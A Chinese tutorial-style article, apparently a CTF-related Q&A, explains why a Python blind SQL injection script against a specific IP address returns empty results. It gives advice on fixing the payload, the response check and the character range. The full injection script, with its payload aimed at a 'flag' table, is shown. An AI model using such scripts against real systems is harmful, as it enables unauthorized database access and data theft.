SQL注入攻击导致空结果的原因及解决方法
本文分析一段Python代码,该代码尝试进行SQL注入攻击,但结果却为空。我们将探讨导致空结果的原因,并提出相应的解决方法。
问题代码及结果
以下Python代码尝试通过SQL注入获取数据:
import requestsimport binasciiurl = "http://110.41.8.154/"def join(arr): return ",".join([f"0x{binascii.hexlify(i.encode()).decode()}" if i != "" else "0x0" for i in arr])result = ["","","","","",""] #长度为列数,包含一条随机数列result_i = 0for i in range(1, 3000): min_value =32 max_value = 130 last_tmp = "" for j in range(min_value, max_value + 1): tmp = result[result_i] result[result_i] = tmp + chr(j) payload = { "id": f"740-(({join(result)})>(select * from(select *, floor(1+rand(5)*500000))`xxx`from(flag))`t`where(xxx=221556)))" } html = requests.get(url, params=payload) if "pk" not in html.text: if j == min_value + 1: result[result_i] = tmp result_i += 1 else: result[result_i] = last_tmp break else: result[result_i] = tmp last_tmp = tmp + chr(j) #找不到目标主机 if (result_i == len(result) - 1): break print(result)print("final flag",result)
登录后复制
运行结果:
['', '', '', '', '', '']['', '', '', '', '', '']... (repeated many times)
登录后复制
所有结果均为空。
原因分析
代码尝试利用盲注技术进行SQL注入。空结果可能由以下原因造成:
错误的Payload构造: join函数将结果转换为十六进制,但SQL语句的构造过于复杂,可能存在语法错误或与目标数据库不兼容。 select * from (select *, floor(1+rand(5)*500000))xxx from (flag)t where (xxx=221556) 这部分SQL语句本身就存在问题,xxx的用法不规范,flag表和t表的含义不明确。
不准确的响应判断: 代码仅检查响应中是否包含”pk”字符串。如果服务器返回的错误信息不包含”pk”,或者服务器响应方式与预期不同,代码将无法正确判断注入是否成功。
字符集限制: 循环遍历的ASCII码范围(32-130)可能过于狭窄,目标数据库中可能包含不在此范围内的字符,导致无法完整提取数据。
目标服务器防护: 目标服务器可能已经采取了SQL注入防护措施,例如参数化查询或输入过滤,阻止了攻击的成功。
解决方法
简化Payload: 重写SQL注入语句,使用更简洁、更标准的SQL语法。例如,尝试使用基于布尔盲注的更简单的语句,逐步获取数据。
改进响应判断: 不要依赖单一的字符串”pk”进行判断。 可以尝试根据服务器响应的HTTP状态码、响应长度或其他特征来判断注入是否成功。 更稳妥的方法是使用错误信息中包含的特定关键词进行判断。
扩展字符集: 扩大字符集范围,例如包含更多特殊字符或非ASCII字符。
添加错误处理和日志: 添加try…except块来捕获异常,并记录每次请求的payload、服务器响应和错误信息,以便调试。
了解目标数据库: 了解目标数据库的结构和数据类型,这对于构造有效的SQL注入语句至关重要。
总而言之,解决这个问题需要仔细检查SQL语句的语法、服务器的响应机制,并采取更健壮的错误处理和日志记录策略。 盲注攻击本身就比较复杂,需要对目标系统有充分的了解,并且需要进行大量的尝试和调整。 请勿在未经授权的情况下进行任何SQL注入攻击。
以上就是SQL注入攻击导致代码运行结果为空的原因是什么?如何解决这个问题?的详细内容,更多请关注【创想鸟】其它相关文章!
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至253000106@qq.com举报,一经查实,本站将立刻删除。
发布者:PHP中文网,转转请注明出处:https://www.chuangxiangniao.com/p/3169740.html